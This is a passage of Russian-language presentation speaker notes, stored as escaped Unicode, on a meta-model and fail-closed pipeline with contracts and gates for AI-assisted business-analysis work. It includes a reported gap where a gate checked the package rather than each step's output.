\u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 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\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 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\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 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\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 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RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, 